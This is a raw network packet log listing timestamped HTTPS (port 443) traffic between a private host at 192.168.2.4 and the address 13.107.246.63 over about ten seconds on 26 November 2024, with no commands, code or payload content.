Nov 26, 2024 08:56:03.791446924 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.791492939 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.839905977 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.842865944 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.842905998 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.842914104 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.842926025 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.842982054 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.843003035 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.843014002 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.843024969 CET	49955	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.843029976 CET	443	49955	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.846276045 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.846321106 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:03.846431971 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.846628904 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:03.846645117 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.019920111 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.026732922 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.026781082 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.026802063 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.026813984 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.026868105 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.026952982 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.026968956 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.026978016 CET	49951	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.026983023 CET	443	49951	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.030014038 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.030051947 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:04.030272007 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.030623913 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:04.030636072 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.132086992 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.145226002 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.145291090 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.145895958 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.145916939 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.497268915 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.553064108 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.585372925 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.589536905 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.591058969 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.644989014 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.691417933 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.740587950 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.756179094 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.812078953 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.847229958 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.847256899 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.847950935 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.847956896 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.848448038 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.848472118 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.848987103 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.848992109 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.852982044 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.853044033 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.853101969 CET	49956	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.853122950 CET	443	49956	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.854135036 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.854156971 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.854645014 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.854657888 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.855130911 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.855144024 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.855611086 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.855618000 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.955528021 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:05.955570936 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:05.955627918 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.010027885 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.010057926 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.174896955 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.178024054 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.178078890 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.189407110 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.191063881 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.191246033 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.191309929 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.193254948 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.193303108 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.193314075 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.193326950 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.193375111 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.200804949 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.200819016 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.200826883 CET	49957	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.200831890 CET	443	49957	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.203387022 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.203392029 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.203401089 CET	49959	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.203403950 CET	443	49959	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.204972029 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.204972029 CET	49958	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.205044985 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.205077887 CET	443	49958	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.222593069 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.222639084 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.222691059 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.227507114 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.227530003 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.228887081 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.228918076 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.228971004 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.229087114 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.229098082 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.231640100 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.231674910 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.231731892 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.232434988 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.232449055 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.256938934 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.261262894 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.261329889 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.265664101 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.265700102 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.265713930 CET	49960	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.265727043 CET	443	49960	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.275023937 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.275082111 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:06.275146008 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.276050091 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:06.276067972 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.860708952 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.877823114 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.877823114 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.877840996 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.877856016 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.948864937 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.950457096 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.992518902 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.992564917 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.993360996 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.993371010 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.993855953 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.993881941 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:07.994471073 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:07.994476080 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.060111046 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.062047005 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.062087059 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.063290119 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.063297033 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.073800087 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.074521065 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.074548006 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.075192928 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.075211048 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.313601971 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.317253113 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.317323923 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.317470074 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.317470074 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.382534027 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.385946035 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.385996103 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.386017084 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.386096001 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.386130095 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.496542931 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.496573925 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.496588945 CET	49961	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.496594906 CET	443	49961	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.498240948 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.498296022 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.498311043 CET	49962	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.498317957 CET	443	49962	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.498573065 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.498573065 CET	49964	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.498620033 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.498636961 CET	443	49964	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.504555941 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.507940054 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.507987022 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.507992029 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.508028030 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.517355919 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.517357111 CET	49965	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.517399073 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.517411947 CET	443	49965	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.523756027 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.523803949 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.523864985 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.525736094 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.525784969 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.525834084 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.527282953 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.527297974 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.528479099 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.528789997 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.528829098 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.528867006 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.528891087 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.528903961 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.528944969 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.529037952 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.529057026 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.529063940 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.529078960 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.529270887 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.529284000 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.531375885 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.531428099 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.532088041 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.532094955 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.532119036 CET	49963	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.532121897 CET	443	49963	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.534382105 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.534393072 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:08.534436941 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.534600019 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:08.534610987 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.252141953 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.252602100 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.252620935 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.253202915 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.253207922 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.308882952 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.309412956 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.309458971 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.310062885 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.310081005 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.312807083 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.313241005 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.313271046 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.313489914 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.313771009 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.313776016 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.314112902 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.314129114 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.314588070 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.314593077 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.429853916 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.430542946 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.430560112 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.431158066 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.431163073 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.686723948 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.690535069 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.690603018 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.690635920 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.690680027 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.690726995 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.704755068 CET	49967	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.704777956 CET	443	49967	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.754586935 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.758645058 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.758713007 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.758924961 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.759166956 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.760415077 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.760436058 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.760448933 CET	49966	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.760454893 CET	443	49966	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.762408972 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.762417078 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.762468100 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.762470961 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.763050079 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.763072968 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.763097048 CET	49968	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.763103008 CET	443	49968	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.764796972 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.764826059 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.764842987 CET	49969	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:10.764848948 CET	443	49969	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.876600981 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.885221004 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:10.887054920 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.095442057 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.095469952 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.095483065 CET	49970	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.095488071 CET	443	49970	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.161921978 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.161984921 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.162050962 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.172043085 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.172081947 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.213068008 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.213118076 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.213293076 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.215173960 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.215212107 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.215276003 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.216097116 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.216130018 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.216198921 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.216903925 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.216922998 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.217993021 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.218004942 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.218158007 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.218295097 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.218305111 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.219865084 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.219873905 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:11.220031977 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:11.220056057 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.937583923 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.937891006 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.937988043 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.938008070 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.938386917 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.938394070 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.938714981 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.938738108 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.939049959 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.939055920 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.959388971 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.960539103 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.960557938 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.960982084 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.960994005 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.998723984 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.999125004 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.999150038 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:12.999476910 CET	49972	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:12.999486923 CET	443	49972	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.063517094 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.063935995 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.063973904 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.064508915 CET	49975	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.064517021 CET	443	49975	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.373301983 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.373723030 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.376977921 CET	443	49973	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.377013922 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.377028942 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.377059937 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.377062082 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.377141953 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.405340910 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.408649921 CET	443	49971	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.408732891 CET	49971	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.416913033 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.416940928 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.416966915 CET	49974	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.416973114 CET	443	49974	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:13.418628931 CET	49973	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:13.418651104 CET	443	49973	13.107.246.63	192.168.2.4
